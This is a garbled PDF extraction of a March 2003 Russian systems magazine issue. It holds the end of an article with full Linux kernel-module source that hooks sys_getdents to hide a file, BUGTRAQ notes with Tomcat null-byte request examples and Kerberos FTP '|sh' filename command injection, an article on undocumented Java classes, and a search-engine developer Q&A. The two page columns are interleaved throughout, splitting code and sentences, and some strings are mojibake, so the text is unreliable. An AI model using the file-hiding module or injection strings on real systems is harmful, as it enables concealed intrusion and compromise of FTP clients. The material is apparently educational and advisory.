int init_module() «.», «..» и два наших файла, исполняемый модуль и ис-
{
orig_open=sys_call_table[SYS_open]; ходный текст. Длина всех записей в каталоге составляет
sys_call_table[SYS_open]=own_open; 72 байта. Информация о каждой записи сохраняется, как

№3(4), март 2003 43


программирование
мы уже сказали, в структуре struct dirent. Для нас интерес Проверяем, не совпало ли имя файла из текущей за-
представляют два поля данной структуры: писи с искомым:
 d_reclen – размер записи;
 d_name – имя файла.
if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) {

Если это так, затираем запись и вычисляем новое зна-


Для того чтобы спрятать запись о файле (другими сло- чение длины записей в каталоге:
вами, сделать его невидимым), необходимо перехватить
системный вызов sys_getdents, найти в списке получен- memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t);
tmp-=n;
ных структур соответствующую запись и удалить ее. Рас- }
смотрим код, выполняющий эту операцию (автор ориги-
нального кода – Michal Zalewski): Позиционируем указатель на следующую запись и
продолжаем поиск:
#include <linux/module.h>
#include <linux/kernel.h> dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen);
#include <linux/types.h> }
#include <linux/dirent.h>
#include <linux/slab.h> Возвращаем результат и освобождаем память:
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h> copy_to_user(dirp,dirp2,tmp);
kfree(dirp2);
extern void *sys_call_table[]; }
int (*orig_getdents)(u_int, struct dirent *, u_int);
Возвращаем значение длины записей в каталоге:
Определим свой системный вызов.
return tmp;
}
int own_getdents(u_int fd, struct dirent *dirp, u_int
count) Функции инициализации и выгрузки модуля имеют
{
unsigned int tmp, n; стандартный вид:
int t;
int init_module(void)
{
Назначение переменных будет показано ниже. Допол- orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=own_getdents;
нительно нам понадобятся структуры: return 0;
}
struct dirent *dirp2, *dirp3;
void cleanup_module()
{
sys_call_table[SYS_getdents]=orig_getdents;
Имя файла, который мы хотим спрятать: }

char hide[]=»our.file»; Сохраним исходный текст в файле sys_call_getd.c и


создадим Makefile следующего содержания:
Определим длину записей в каталоге:
CC = gcc
tmp=(*orig_getdents)(fd,dirp,count); module = sys_call_getd.o
if(tmp>0){ CFLAGS = -O3 -Wall
LINUX = /usr/src/linux
MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include
Выделим память для структуры в пространстве ядра и
скопируем в нее содержимое каталога: sys_call_getd.o: sys_call_getd.c $(CC) -c
$(CFLAGS) $(MODFLAGS) sys_call_getd.c
dirp2=(struct dirent *)kmalloc(tmp,GFP_KERNEL); В текущем каталоге создадим файл our.file и загру-
ñopy_from_user(dirp2,dirp,tmp);
зим модуль. Файл исчезает, что и требовалось доказать.
Задействуем вторую структуру и сохраним значение Как вы понимаете, рассмотреть в рамках одной ста-
длины записей в каталоге: тьи пример перехвата каждого системного вызова не
представляется возможным. Поэтому тем, кто заинтере-
dirp3=dirp2;
t=tmp; совался данным вопросом, рекомендую посетить сайты:
 www.phrack.com
Начнем искать наш файл:  www.atstake.com
while(t>0) {
 www.thehackerschoice.com.

Считываем длину первой записи и определяем остав- Там вы сможете найти более сложные и интересные
шуюся длину записей в каталоге: примеры перехвата системных вызовов. Обо всех заме-
чаниях и предложениях пишите на форум журнала.
n=dirp3->d_reclen; При подготовке статьи были использованы материа-
t-=n;
лы сайта http://www.thehackerschoice.com/.

44
BUGTRAQ
Несколько уязвимостей Выполнение произвольных команд
в Apache Tomcat server в MIT Kerberos FTP-клиенте
Уязвимость раскрытия информации обнаружена в Apache Уязвимость проверки правильности ввода обнаружена в
Tomcat server. Удаленный пользователь может просмот- MIT Kerberos FTP-клиенте и, возможно, других FTP-кли-
реть содержание директорий и некоторых файлов, кото- ентах. Удаленный пользователь (злонамеренный FTP-сер-
рые конфигурированы как недоступные для просмотра. вер) может выполнить произвольные команды оболочки
Как сообщается, сервер неправильно обрабатывает на уязвимом клиенте.
некоторые типы HTTP-запросов, содержащих NULL или Согласно сообщению, об этом типе уязвимости было
‘\’ символы. Удаленный пользователь может сконструиро- известно еще в 1997 году, но она до сих пор не устранена
вать специальный HTTP-GET-запрос, чтобы просмотреть в текущем выпуске Kerberos FTP-клиента и, возможно,
содержание каталога, в котором присутствует файл присутствует в FTP-клиентах от других производителей.
index.html или index.jsp. Пример: Если имя файла начинается с символа канала “|”, кли-
ент передаст имя файла как команду через system()-зап-
GET /<null byte>.jsp HTTP/1.0 рос, когда файл обнаружен клиентом на сервере. Уязви-
мость позволяет серверу выполнять произвольные коман-
Также сообщается, что удаленный пользователь мо- ды оболочки, содержащиеся в имени файла или в содер-
жет представить специально обработанный запрос, содер- жании файла с привилегиями пользователя FTP-клиен-
жащий символы ‘\’, чтобы получить информацию о недо- та. Пример:
ступных каталогах. Пример:
mget .
$ perl -e 'print "GET /admin/WEB-INF\\classes/ ->
ContextAdmin.java\x00.jsp (...)
RETR "|touch testfile"
HTTP/1.0\r\n\r\n";'|nc my.server 8080 RETR "|sh" with content of the file '|sh' being shell
commands
Этот демонстрационный пример раскроет содержание
ContextAdmin.java-каталога. Уязвимость обнаружена в Уязвимость обнаружена в Kerberos 5, 1.2.7.
Apache Tomcat Server 3.3.1 и более ранние версии.

№3(4), март 2003 45


программирование

НЕКОТОРЫЕ
НЕДОКУМЕНТИРОВАННЫЕ
ФУНКЦИИ JAVA

Изучение недокументированных функций в применении к языку Java может показаться несколько


странным. Java – грамотный, современный, высоконадежный объектно-ориентированный язык
программирования, поставляемый фирмой Sun совместно с обширнейшими библиотеками
готовых классов. Неужели в среде Java существуют задачи, которые не решаются с помощью
стандартных библиотек и для решения которых имеет смысл прибегать к недокументированным
функциям? И что вообще такое «недокументированная функция» в рамках Java?

ДАНИИЛ АЛИЕВСКИЙ
46
программирование
Слова «недокументированная функция» в случае Java vac.Main – хотя и не документированы, но довольно ак-
имеют самый прямой смысл. В стандартный комплект тивно обсуждаются на форумах сайта http://java.sun.com.
поставки языка Java (мы рассматриваем версии 1.4 и Первый класс, sun.tools.javac.Main, имеет конструктор:
выше – Sun Java SDK) входит, помимо документирован-
ных пакетов типа java.lang.*, java.util.*, javax.swing.* и т. д. public Main(
OutputStream p0,
также целый ряд недокументированных пакетов, прежде String p1)
всего подпакеты sun.* и com.sun.*. Фирма Sun совершен-
но справедливо рекомендует не пользоваться классами В качестве параметров конструктор принимает некото-
из этих пакетов. Фирма Sun оставляет за собой право в рый поток p0, в который будут выдаваться все сообщения
любой момент поменять поведение и даже сам набор этих компилятора, и некоторую строку неизвестного (автору ста-
классов, так что программа, пользующаяся ими, рискует тьи) назначения; известные мне примеры использования
оказаться несовместимой с будущими версиями Java. данного класса передавали в качестве p1 строку «javac».
На самом деле в подавляющем большинстве ситуа- Собственно компиляцию выполняет метод того же
ций недокументированные функции, точнее, недокумен- класса:
тированные классы из подпакетов sun.* и com.sun.* дей-
ствительно не нужны. Эти классы в основном обеспечи- public synchronized boolean compile(
вают низкоуровневую реализацию универсальных клас- String[] p0)
сов и интерфейсов, предназначенных для использования
в прикладных программах, и почти ничего не добавляют Этому методу нужно передать в качестве аргумента
к тем возможностям, которые и так предоставляются стан- массив строк-параметров, которые обычно передаются
дартными документированными прикладными пакетами. утилите javac, например:
Из этого правила иногда встречаются исключения.
Автор этой статьи участвовал в разработке сложной new String[] {"-d","/ïóòü_ê_ïîäêàòàëîãó","myfile.java"}
системы на языке Java, содержащей более 100 тысяч
строк исходного кода. При этом нам лишь несколько раз О результатах компиляции можно узнать из результа-
потребовались недокументированные функции Java. та метода compile() – в случае успеха он должен вернуть
Именно о таких исключениях мне хотелось бы рассказать true – или с помощью отдельного метода:
в данной статье.
public int getExitStatus()
Встроенный компилятор JAVA
Наверное, наиболее популярная «недокументированная который в случае успеха должен вернуть 0.
функция» Java – это компиляция исходных текстов Java Самая ценная особенность класса sun.tools.javac.Main –
в .class-файлы. возможность указать в конструкторе выходной поток, ко-
Стандартный компилятор javac, входящий в комплект торый будет использоваться для выдачи сообщений об
поставки Sun Java SDK, вполне последовательно реали- ошибках компилятора. Это дает возможность легко пре-
зован фирмой Sun на том же самом языке Java в виде образовать этот поток, скажем, в переменную типа String,
сложной иерархии Java-классов. Утилита javac не более с тем чтобы самостоятельно ее проанализировать и по-
чем тривиальная программа, реализованная в машинном казать пользователю.
коде для всех операционных систем, предназначенная для Начиная с версии Sun Java SDK 1.4, объявлен уста-
запуска виртуальной машины Java и обращения к Java- ревшим класс sun.tools.javac.Main. Попытка явно обратить-
классу, выполняющему собственно компиляцию. ся к этому классу в программе выдает предупреждение
Если ваша программа нуждается в компиляции исход- «deprecation warning», а попытка им воспользоваться для
ных текстов на языке Java, то наиболее изящное, хотя и компиляции любого класса выдает аналогичное предуп-
недокументированное решение, – воспользоваться стан- реждение в поток ошибок (параметр конструктора p0),
дартным Java-классом фирмы Sun, реализующим такую если только явно не подавить эти предупреждения клю-
компиляцию. чом «-nowarn» среди параметров метода compile.
На самом деле тут существуют даже два решения – Для такого предупреждения есть основания. По край-
классы sun.tools.javac.Main и com.sun.tools.javac.Main. ней мере один из сложных классов, разработанных авто-
Оба этих класса находятся в JAR-файле tools.jar, вхо- ром на Java версии 1.4 и прекрасно компилирующихся
дящем в комплект поставки Sun Java SDK. Этот класс обычными компиляторами, оказалось невозможным ском-
по умолчанию не входит в так называемый Java Runtime пилировать с помощью класса sun.tools.ja-vac.Main. Ком-
Environment (JRE) – набор классов и подкаталогов, ко- пилятор вполне явно «сошел с ума» и стал «ругаться» на
торый разрешается свободно распространять совмес- законные языковые конструкции.
тно с вашим Java-приложением для обеспечения его Второй класс, предназначенный для компиляции ис-
корректного исполнения. Тем не менее лицензионное ходных текстов на Java – единственный «неустаревший»
соглашение фирмы Sun специально разрешает распро- в версии Sun Java SDK 1.4 – это com.sun.tools.ja-vac.Main.
странять tools.jar в дополнение к JRE совместно с ва- Функционально он эквивалентен классу sun.tools.ja-
шими приложениями. vac.Main, но несколько менее «многословен» в своем на-
Оба класса – sun.tools.javac.Main и com.sun.tools.ja- боре методов. Конструктор этого класса не имеет пара-

№3(4), март 2003 47


программирование
метров. Методов compile здесь два, причем несинхрони- подкаталогами-«ссылками» в локальной файловой сис-
зированных, в отличие от sun.tools.javac.Main: теме текущего пользователя.
Класс FileSystemView не содержит никаких средств для
public static int compile(String[] p0) распознавания и обработки подобных ссылок. В результате
public static int compile(String[] p0,
PrintWriter p1) стандартный диалог выбора файла javax.swing.JFileChooser
при использовании в Windows XP производит довольно жал-
Второй из этих методов позволяет указать поток вы- кое впечатление – попытка перейти к компьютерам локаль-
вода, который будет использоваться для вывода всех со- ной сети заканчивается позорной неудачей.
общений компилятора, например: В действительности фирма Sun уже реализовала ме-
ханизм обработки файлов-«ссылок» Microsoft Windows. К
new PrintWriter(writer=new CharArrayWriter(),true) сожалению, он пока недокументирован. Это класс
sun.awt.shell.ShellFolder. Среди прочих методов, имеющих
Как и в случае sun.tools.javac.Main, второй метод документированные эквиваленты в классе FileSystemView,
compile позволяет перенаправить поток сообщений ком- класс ShellFolder содержит следующие два метода:
пилятора в собственный буфер, с тем чтобы впоследствии
превратить его, скажем, в строку типа String для анализа public abstract boolean isLink();
public abstract ShellFolder getLinkLocation()
и визуализации. throws FileNotFoundException
Класс com.sun.tools.javac.Main в версии Sun Java SDK
1.4 работает существенно быстрее предыдущего класса Вот как можно ими пользоваться:
sun.tools.javac.Main и «справляется» со всеми корректны-
ми исходными текстами. Похоже, именно этот класс вы- public static boolean isLink(File f) {
зывается изнутри стандартной утилиты javac. try {
return sun.awt.shell.ShellFolder
.getShellFolder(f).isLink();
Файлы-ссылки – *.lnk } catch (FileNotFoundException e) {
return false;
в Microsoft Windows }
Второй известный автору случай использования недоку- }
ментированных функций – распознавание файлов-«ярлы- public static File getLinkLocation(File f)
ков» (shortcuts) Microsoft Windows, обычно имеющих рас- throws FileNotFoundException
{
ширение «.lnk». File result= sun.awt.shell.ShellFolder
Стандартные средства работы с файлами из пакета .getShellFolder(f).getLinkLocation();
if (result==null ||
java.io.* вообще не слишком хорошо «справляются» с result.getPath().trim().length()==0)
файловой системой современных версий Microsoft throw new FileNotFoundException(
"Incorrect link - it is empty");
Windows. Так, стандартный класс java.io.File «понятия не return result;
имеет» о том, что корнем файловой иерархии Windows }
следует считать «Рабочий стол» («Desktop»), у которого
есть такие дочерние узлы, как «Мои документы» («My Применяя эти методы, при желании можно «исправить»
documents») или «Мой компьютер» («My computer»). Стан- поведение стандартного диалога выбора файла
дартный java.io.File по старинке считает корнем иерархии javax.swing.JFileChooser, «научив» его правильно работать
корневой каталог любого дискового устройства. с современными локальными сетями Microsoft Windows.
Чтобы скомпенсировать этот недостаток, не нару- Конечно, будет гораздо лучше, если фирма Sun в оче-
шая совместимости с классом File, фирма Sun разра- редной версии Java SDK включит в FileSystemView доку-
ботала новый, более современный класс javax.swing.file- ментированные эквиваленты этих методов и исправит
chooser.FileSystemView. Он активнейшим образом ис- javax.swing.JFileChooser. Существование подобных мето-
пользуется стандартным диалогом выбора файла дов в sun.awt.shell.ShellFolder позволяет на это надеять-
javax.swing.JFileChooser, что отчасти объясняет не- ся. Пока же приходится пользоваться недокументирован-
сколько странный выбор пакета для FileSystemView. ными методами.
К сожалению, даже класс FileSystemView не решает
всех проблем, по крайней мере, в имеющейся у меня пос- Стек вызовов метода
ледней версии Sun Java SDK 1.4.1. Современные версии Предположим, нужно получить «трассу стека» – узнать,
Windows, в частности Windows XP, предлагают пользова- какой метод исполняется в данный момент, какой метод
телю интерфейс, существенно опирающийся на механизм вызвал этот метод, и т. д. Трудно представить, зачем это
файлов-«ссылок», или «ярлыков». Такими ссылками яв- может понадобиться, за исключением отладки програм-
ляются специальные файлы или даже подкаталоги (обыч- мы. Однако в реальной практике автору это однажды по-
но, но не обязательно с расширением «.lnk»). Щелчок по надобилось – чтобы выяснить, какие загрузчики классов
ним в стандартном Windows Explorer приводит к переме- использовались для загрузки текущего исполняемого кода
щению в некоторый другой каталог или открытию некото- и всех классов «трассы стека», вызвавших этот код.
рого другого файла. Именно так в Windows XP организо- Даже для этой столь экзотической ситуации фирма
вана работа в локальной сети – компьютеры пользовате- Sun предусмотрела документированную технику. Дос-
лей-«соседей» представлены маленькими виртуальными таточно возбудить фиктивное исключение, тут же «пой-

48
программирование
мать» его и воспользоваться методом объекта-исклю- это сервис, а конкретный кодек, рассчитанный на опре-
чения getStackTrace(). деленный формат – это провайдер.
Проблема может заключаться в том, что метод Согласно документации, для поддержки сервис-про-
getStackTrace() возвращает исключительно «описатель- вайдеров нужно положить в подкаталог META-INF/Services
ную» информацию о классах и методах «трассы стека» – некоторого JAR-файла, присутствующего в путях поиска
попросту строковые имена классов и методов. Чтобы по- классов Java, специальный текстовый файл. Имя тексто-
лучить собственно классы, задействованные в данный мо- вого файла должно совпадать с полным именем некото-
мент в стеке (объекты типа Class), необходимо вызвать рого сервиса – интерфейса или абстрактного класса, на-
метод Class.forName или эквивалентный. Но что, если те- пример, «com.pupkin.vasya.My-Service». Этот файл должен
кущий загрузчик классов не в состоянии загрузить такие содержать (в отдельных строках) список некоторых клас-
классы просто по имени? Что, если текущий исполняе- сов – провайдеров этого сервиса, присутствующих в дан-
мый код загружен самым обычным традиционным загруз- ном JAR-файле. Тогда система Java сумеет стандартным
чиком классов, а класс, который его вызвал – это интер- образом получить этот список в виде набора объектов –
нетовский class-файл, загруженный и исполняемый совер- экземпляров соответствующих провайдеров. Стандарт-
шенно другим специальным загрузчиком? Тогда метод ные библиотеки фирмы Sun примерно так и поступают,
getStackTrace() никак не поможет «добраться» до этого когда нужно прочитать изображение или аудиозапись. По-
класса (объекта Class) хотя бы для того, чтобы получить чему-то остался недокументированным лишь тот самый
ссылку на загрузивший его загрузчик классов. стандартный способ, которым извлекается список провай-
В подобной ситуации автору пришлось прибегнуть к деров некоторого сервиса.
недокументированному классу sun.reflect.Reflection, точ- Этот способ следующий:
нее, к его методу.
for (Iterator iterator=
sun.misc.Service.providers(
public static native Class getCallerClass(int p0) êëàññ_ñåðâèñà.class);
iterator.hasNext(); )
{
Вот как выглядит использование этого метода: êëàññ_ñåðâèñà o= (êëàññ_ñåðâèñà)
iterator.next();
èñïîëüçóåì o - ýêçåìïëÿð
public static Class[] getCurrentStackTraceClasses() { î÷åðåäíîãî ïðîâàéäåðà ñåðâèñà;
List result= new ArrayList(); }
for (int count=1; count<10000
/* ñòðàõîâêà íà âñÿêèé ñëó÷àé */;
count++) На самом деле для использования такой техники не
{
Class clazz= sun.reflect.Reflection обязательно создавать JAR-файл – вполне достаточно
.getCallerClass(count); разместить правильный подкаталог META-INF в одном из
if (clazz==null) break;
result.add(clazz); каталогов поиска class-файлов.
}
return (Class[])result.toArray(
new Class[0]);
}

Провайдеры сервисов
Сервис-провайдеры (Service provider) – довольно распро-
страненная и неплохо документированная техника среди
стандартных библиотек Java. Тем более удивительно, что
фирма Sun оставила недокументированным механизм пе-
речисления сервис-провайдеров – класс sun.misc.Service.
Идея сервис-провайдеров вполне очевидна. Допустим,
есть некоторый сервис (интерфейс или абстракный класс),
предназначенный для использования прикладными про-
граммами. Есть также произвольное количество провай-
деров – классов, реализующих этот интерфейс или абст-
рактный класс. Предполагается, что набор провайдеров
не фиксирован и может меняться в зависимости от по-
ставки программы. Не исключено, что пользователь мо-
жет самостоятельно приобрести и инсталлировать в сис-
тему дополнительный набор провайдеров какого-либо
стандартного сервиса.
Типичный пример применения сервис-провайдеров –
разнообразные кодеки, позволяющие читать и писать
изображения, аудио или видеозаписи различных фор-
матов. Общая процедура чтения или записи объекта –

№3(4), март 2003 49


поиски истины

ЗАДАЙ СВОЙ ВОПРОС


РАЗРАБОТЧИКАМ
ПОИСКОВЫХ СИСТЕМ

ИТОГИ АКЦИИ,
ПРОВОДИМОЙ СОВМЕСТНО
С ВСЕРОССИЙСКИМ КЛУБОМ
ВЕБ-РАЗРАБОТЧИКОВ
С 28 января по 15 февраля 2003 года на сайте нашего журнала (www.samag.ru) и сайте Всероссийского
Клуба Веб-разработчиков (www.webclub.ru) любой посетитель мог задать свой наболевший вопрос
техническим специалистам поисковых систем – Яндекса, Рамблера, Апорта и Мета-Украины. Все мы
время от времени становимся пользователями поисковиков. Надеемся, что эта акция поможет нам
лучше понять друг друга. На вопросы читателей отвечают:

50
поиски истины
Возможно ли в ближайшем будущем обеспечить
разбор запросов (вопросов), заданных естественным
языком? Например, «где взять телепрограмму?».

Вообще говоря, взаимодействие человека


и компьютера на естественном языке, в частности есте-
ственная «беседа» с поисковыми системами, является
давней, но, к сожалению, до сих пор нереализованной меч-
той. Рискуя навлечь на себя гнев многочисленных аполо-
гетов систем искусственного интеллекта, скажем также,
что несмотря на множество красивых и внешне правиль-
ных идей о его, искусственного интеллекта, реализации,
вряд ли когда-либо в обозримом будущем он будет реа-
лизован. Однако дела обстоят не так плохо, поскольку ре-
ализация истинного машинного интеллекта для ответов
на большинство вопросов пользователя вовсе не нужна.
Нужно лишь приблизительно моделировать поведение ра-
зумного компонента при вычислении запроса.
Уже сейчас Рамблер пытается распознать, что имен-
но интересует пользователя, а также тематику поиско-
вого запроса. Например, при поиске человека по его
имени и фамилии (Иван Федоров), запускается специ-
альный модуль, который оптимизирован именно под эту
задачу. Аналогичные модули есть для поиска сайтов
(www.somesite.ru), обработки запросов, содержащих чис-
ла (15 олимпиада), и т. д. Количество и «интеллект» та-
ких модулей мы собираемся наращивать одновременно
с совершеноствованием ядра поисковой машины.
Недавно мы начали классифицировать поисковые зап-
росы и учитывать результаты классификации при ранжи-
ровании. Благодаря такому учету нам удалось сократить
в ответах поисковика количество страниц, которые плохо
соответствуют запросу.
Таким образом, некоторое приближение к ответам на
естественно-языковые запросы существует уже сейчас,
а необходимость корректно отвечать пользователю, за-
давшему вопрос «Не могли бы вы, ваши специалисты или
ваша поисковая машина помочь мне найти в Интернете
или других изданиях цену на дрова?», весьма сомнитель-
на в практическом отношении, хотя, конечно, представ-
ляет академический интерес.

Сама тема «разбор запросов, заданных на есте-


ственном языке» – это не будущее, а прошлое поисковых
ИЛЬЯ СЕГАЛОВИЧ систем, из тех времен, когда проектировщики поискови-
ков еще не знали, как же на самом деле массовый пользо-
Поисковая система «Яндекс» ватель будет пользоваться их детищем. Теперь, когда
строка запроса – рабочий инструмент, у полмиллиарда
человек иллюзии развеялись.
АНДРЕЙ КОВАЛЕНКО На «естественном языке», точнее на том, что под этим
Поисковая система «Рамблер» многие понимают – длинные сочинительно-вопроситель-
ные конструкции – люди вопросы не задают, не задавали
МИХАИЛ КОСТИН и задавать не будут никогда. Причина проста: людям свой-
ственно экономить свои силы и время.
Поисковая система «Апорт»
Реальная задача, стоящая перед пользователем: за
минимальное число нажатий клавиш на клавиатуре и
АЛЕКСЕЙ ЧУКСИН минимальное количество секунд, (например за 180, как в
Украинская поисковая система «META» Кубке Яндекса), получить пертинентный, то есть удовлет-
воряющий прагматике (!) запроса ответ.

№3(4), март 2003 51


поиски истины
Таким образом, речь можно вести только о понимании Сколько человеко-часов в месяц ваша компания
телеграфного стиля общения, рваного синтаксиса и т. д. тратит на совершенствование алгоритмов поиска (или
Это понимание демонстрируют многие поисковые систе- разработку новых стратегий поиска), и сколько – на
мы. Мы в Яндексе наивно полагаем, что продвинулись сопутствующие «навороты» типа дизайна и дополни-
дальше многих по данному пункту. тельных сервисов?
Разбор запросов в Яндексе существует уже давно. И
люди этим активно пользуются, что видно по прямому Основные усилия мы тратим именно на со-
эфиру (списку запросов, сделанных за последний час: вершенствование поиска. Это и улучшение качества поис-
http://www.yandex.ru/last20.html): ка и увеличение производительности поисковой системы.
 оборудование для катания с гор; На дизайн и дополнительные сервисы ресурсов выделя-
 юридические энциклопедии; ется меньше.
 master of orion 3;
 toshiba ноутбук сервис-центр; Над совершенствованием алгоритмов индексиро-
 образец подписи В. Яковлева; вания и поиска работает немного специалистов: основ-
 расписание поездов из Москвы. ных алгоритмистов в поиске примерно пять-шесть чело-
век. Много их и не может быть.
Что касается приведенного примера, то по результа- Если считать со всей «обвязкой» (например: локаль-
там поиска на запрос «где взять телепрограмму?» видно, ный софт – Сайт, Бар; поисковые проекты – Каталог,
что запрос не очень удачен: в найденных документах в Маркет, Новости, Энциклопедии, Картинки, и т. д.), в ко-
основном обсуждается, где взять телевизионные програм- торой много своих алгоритмических задач, то получает-
мы, чтобы наполнить эфир. Лучше спросить «где взять ся больше: человек 12.
программу передач?». А еще лучше вопрос уточнить: «про- Но Яндекс – это не только поиск и не только поиско-
грамма передач на неделю» или «программа передач ОРТ». вые проекты, у нас есть еще и Почта, и Народ, и много
А вот 10 первых по популярности запросов со словом чего еще. И там тоже масса нетривиальных задач и алго-
«телепрограмма» (то есть то, как люди на самом деле ритмов. Одна борьба с почтовым спамом чего стоит! А
спрашивают): всего программистов в Яндексе около 30.
 телепрограмма – 4919;
 телепрограмма на неделю – 345; Какие архитектурные решения организации баз
 телепрограмма на сегодня – 139; данных являются ключевыми для достижения таких
 новогодняя телепрограмма – 89; высочайших скоростей поиска? Как можно более под-
 телепрограмма орт – 85; робно ознакомиться с этими технологиями?
 телепрограмма москва – 83;
 телепрограмма окна – 79; Для достижения высокой производитель-
 телепрограмма жди меня – 76; ности поисковой системы наряду с архитектурными ре-
 телепрограмма нтв – 67; шениями, минимизирующими ввод-вывод и позволяющи-
 телепрограмма стань звездой – 54. ми не вычислять величин, без которых можно обойтись,
используется также глубокая оптимизация поисковых ал-
Если посмотреть результаты поиска по этим запросам горитмов, так как всего лишь одна лишняя инструкция,
на Яндексе, видно, что проблема, поставленная в вопро- исполненная несколько миллионов раз, уже вызовет се-
се, несколько надумана. рьезные задержки.
Кроме того, быстрый поиск невозможен без «тон-
Если речь идет о более-менее полноценном, хотя кой» настройки серверов и операционной системы. Так,
бы отдаленно сравнимом с человеческим, понимании например, при вычислении поискового запроса данные
любых запросов на естественном языке, то нет. А раз- загружаются с дисков «напрямую», в обход файловой
личные частичные решения возможны и реально приме- системы.
няются в поисковых системах. Знание полного списка необходимых для поиска бло-
ков данных и порядка их использования позволяет на-
Такой разбор обеспечить возможно, и работы по гружать дисковые устройства и шину PCI более эффек-
обработке запросов на естественном языке ведутся во всем тивно, чем это делает сама операционная система.
мире. Однако, как показывает анализ статистики запро- Еще один пример оптимизации – размещение неко-
сов, крайне малое число пользователей задает запрос на торых критичных по времени доступа данных в памяти
естественном языке. Пользователю проще написать зап- ядра ОС. При таком размещении скорость обращения к
рос «телепрограмма» или перейти в соответствующую руб- ним существенно растет.
рику каталога, чем писать длинную фразу «где взять те- Для того чтобы система такого масштаба функцио-
лепрограмму». То есть, на наш взгляд, эта проблема сей- нировала 24 часа в сутки 7 дней в неделю, поисковик
час не является первоочередной для повышения качества содержит модули балансировки нагрузки (выдачи бо-
поиска. Думаем, что актуальной она станет с развитием лее быстрым серверам большего количества запросов),
голосового ввода данных, когда от поисковых систем по- восстановления после сбоев, автоматического монито-
требуется обрабатывать запросы, заданные голосом. ринга и т. д.

52
поиски истины
В поисковых системах не используются «архитек- На Lycos и Апорте в строке поиска можно задавать
турные решения баз данных» (Oracle, Postgres, Informix, казахские слова, используя специфические символы
Sybase, MySQL и т. д.). казахского языка и успешно находить необходимую
Все известные мне отечественные и зарубежные по- информацию. Большое им спасибо!
исковые системы – это вручную написанный софт на низ- Почему бы на Рамблере и Яндексе это не реализо-
коуровневом языке программирования. На тему архитек- вать? Понимаю, что под всех подстроиться нелегко, но
туры робота в той или иной мере можно найти публика- набирать казахские слова кириллицей не всегда удоб-
ции. Больше всего писала на эту тему Альтависта. Архи- но. Тем более, что в Win2000 встроена поддержка ка-
тектура отработки поискового запроса – тайна в гораздо захского языка.
большей степени.
Мы планируем реализовать поддержку ка-
Поисковые системы требуют особого подхода к захского языка в ближайшем будущем.
организации хранения данных: стандартные СУБД (Oracle
и т. д.) для них не годятся. Этой теме посвящено доста- К сожалению, казахских сайтов еще очень и очень
точно большое количество литературы (англоязычной), мало, кроме того, до сих пор не устоялся способ пред-
для начального ознакомления можно рекомендовать из- ставления казахских букв. Есть разные варианты. Но в
вестную статью создателей Google: «The Anatomy of a целом вы правы, мы над этим работаем.
Large-Scale Hypertextual Web Search Engine» (http://
www7.scu.edu.au/programme/fullpapers/1921/com1921.htm).
Можно ли таким образом настроить механизм круп-
Как правильно составить meta для лучшего нахож- нейших поисковых систем, чтобы поиск осуществлял-
дения сайта в поисковых системах? ся корректно независимо от того, на каком языке сде-
лан запрос, то есть включить поддержку специфичес-
Поисковая система Рамблер, разбирая и ин- ких символов всех языков народов Мира, или хотя бы
дексируя документы, игнорирует содержимое тегов тех языков, которые используются при создании веб-
<META...>, за исключением тех, которые указывают на сайтов в настоящее время?
использование кодировки, например, UTF-8. Такое решение
было продиктовано прежде всего заботой о пользователе, В случае каждой отдельно взятой поиско-
так как нерадивые (или чересчур рьяные) вебмастера счи- вой системы это возможно, однако представляется лишен-
тают своим долгом указать в списке ключевых слов каждо- ным смысла заниматься поддержкой специальных сим-
го созданного документа все известные им наиболее час- волов, скажем, японского языка в российских поисковых
тые слова запросов к поисковым машинам, не имеющие системах. Мы планируем решить проблему поиска сим-
обычно никакого отношения к содержимому документа. волов, о которых вы говорите, в ближайшем будущем.

Этот вопрос не по адресу. С точки зрения поиско- Полностью корректным такой поиск быть не может.
вой системы, все усилия вебмастера для «лучшего на- Ни одна поисковая система не в состоянии разрешить мас-
хождения сайта» – нежелательный эффект, который не- су неоднозначностей, возникающих в такой многоязыч-
обходимо элиминировать. ной гетерогенной среде, как Интернет. Тем не менее
Что касается конкретики, тег meta поисковые систе- «крупнейшие» поисковые системы как раз поддержива-
мы, чаще всего, в рейтинге совершенно не учитывают. ют относительно корректный поиск по многим языкам и
Но ничто не мешает вам поступить так, как советует стан- кодировкам. Яндекс тоже двигается в этом направлении.
дарт HTML: написать в description внятное индивидуаль-
ной описание темы страницы, а в keywords – перечислить Наша поисковая система поддерживает поиск
несколько самых важных слов. практически на всех европейских языках. Для украинско-
го, русского и английского поиск идет с учетом словооб-
Существует довольно распространенное среди разования этих языков.
новичков заблуждение, что задача хорошего позициони-
рования сайта в поисковых системах сводится к вставке Индексируют ли поисковики внешние файлы CSS?
на страницы неких мета-тегов. На самом деле, грамотное
составление мета-тегов keywords и description полезно, Нет, описания стилей не индексируются, так
но имеет второстепенное значение, некоторые поисковые как они содержат не информацию, а правила ее отобра-
системы эти теги вообще не учитывают, а те, что учиты- жения, то есть правила формирования графического
вают (к ним относится, в частности, Апорт) не придают им оформления страницы.
большого значения.
В этих файлах не бывает текстов. Подробности по-
В связи с тем, что значительное число вебмас- ведения робота – без комментариев.
теров пытаются фальсифицировать данные в мета-тегах,
наша поисковая система не учитывает эти данные при оп- Правильнее говорить в данном случае не об ин-
ределении порядка выдачи документов. дексировании – индексировать в CSS нечего, а об извле-

№3(4), март 2003 53


поиски истины
чении информации о форматировании документов, ис- основном преодолен при помощи методов, анализирующих
пользующих данный CSS. Насколько мне известно, на дан- тексты не изолированно, а в социальной сети. Анализ соци-
ный момент ни одна поисковая система этого не делает. альной сети – общее место всех современных поисковых
систем. Именно в этом направлении следует сейчас ожи-
Мета не индексирует CSS. дать дальнейшего развития. Но уже не революционного.
Революция уже случилась. Смена парадигмы произош-
Сегодня еще не разработана поисковая система, ко- ла только что! Пользуясь словарем книги Томаса Куна «Па-
торая бы удовлетворяла своих пользователей. Суще- радигмы научных революций», можно сказать, что фаза
ствуют лишь подобия идеальной поисковой системы, ароморфоза заканчивается прямо на наших глазах. Мы
КПД которых сравним с КПД паровоза: отношение ко- сейчас наблюдаем переход от ароморфоза к идеоадап-
личества найденных страниц, удовлетворяющих тации. Интересно отметить, что в пост-революционную
пользователя, к общему количеству найденных стра- фазу в массовом сознании все еще бытуют дореволюци-
